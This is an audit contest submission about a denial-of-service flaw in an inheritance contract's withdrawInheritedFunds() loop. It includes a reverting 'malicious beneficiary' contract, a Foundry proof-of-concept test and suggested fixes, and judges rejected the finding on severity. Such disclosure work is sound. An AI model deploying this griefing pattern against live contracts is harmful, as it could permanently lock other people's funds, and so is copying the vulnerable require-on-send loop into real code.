Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Funds can be permanently locked in withdrawInheritedFunds()

Summary

The withdrawInheritedFunds() function in InheritanceManager.sol fails if any beneficiary rejects ETH transfers. This means that a malicious or faulty beneficiary can permanently block all withdrawals, effectively locking all inherited funds in the contract.

Vulnerability Details

Location:

InheritanceManager.sol, function withdrawInheritedFunds()

(bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
require(success, "something went wrong"); // Vulnerable: This reverts the entire function

Root cause:

  • The contract distributes ETH in a loop.

  • If one beneficiary rejects the transfer (e.g., via revert() in a fallback function), the entire function reverts.

  • Other beneficiaries are blocked from withdrawing their funds.

Proof of Concept (PoC) test case:

A malicious beneficiary contract that rejects ETH:

contract RevertBeneficiary {
fallback() external payable {
revert("ETH transfer rejected");
}
}

Test result:

  • When withdrawInheritedFunds() is called, the contract fails to process any withdrawals because of one bad beneficiary.

  • As a result, the contract remains locked unless it is upgraded or externally modified.

Impact

Severity: Critical

  • An attacker or a misconfigured wallet can permanently freeze all inherited funds.

  • No withdrawals are possible unless the contract is upgraded or modified.

  • Even a legitimate beneficiary with a broken wallet (e.g., a smart contract without a receive() function) could accidentally lock all funds.

Tools Used

  • Manual code review

  • Slither

  • Foundry

Malicious contract

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
contract RevertBeneficiary {
fallback() external payable {
revert("ETH transfer rejected");
}
}

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {RevertBeneficiary} from "./RevertBeneficiary.sol";
contract WithdrawInheritedFundsTest is Test {
InheritanceManager inheritanceManager;
RevertBeneficiary revertBeneficiary;
address owner = address(this);
address payable normalBeneficiary = payable(address(0x1234));
function setUp() public {
inheritanceManager = new InheritanceManager();
revertBeneficiary = new RevertBeneficiary();
vm.deal(address(inheritanceManager), 10 ether);
vm.prank(owner);
inheritanceManager.addBeneficiery(address(revertBeneficiary));
vm.prank(owner);
inheritanceManager.addBeneficiery(normalBeneficiary);
}
function test_withdrawInheritedFundsFail() public {
vm.prank(owner);
inheritanceManager.inherit();
// Try to withdraw funds (should fail due to the reverting beneficiary)
vm.prank(normalBeneficiary);
vm.expectRevert("something went wrong");
inheritanceManager.withdrawInheritedFunds(address(0));
}
}
forge test --match-test test_withdrawInheritedFundsFail -vvv


Recommendations

Solution: Skip failing transfers instead of reverting everything

Modify withdrawInheritedFunds() to skip failed transactions instead of reverting the entire function:

(bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
if (!success) {
emit TransferFailed(beneficiary, amountPerBeneficiary);
}


Alternative fix: Allow manual withdrawal retries

  • Add a function to retry failed withdrawals.

  • Allow beneficiaries to manually claim funds instead of the contract distributing them.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

0xe1i Submitter
6 months ago
0xtimefliez Lead Judge
6 months ago
0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.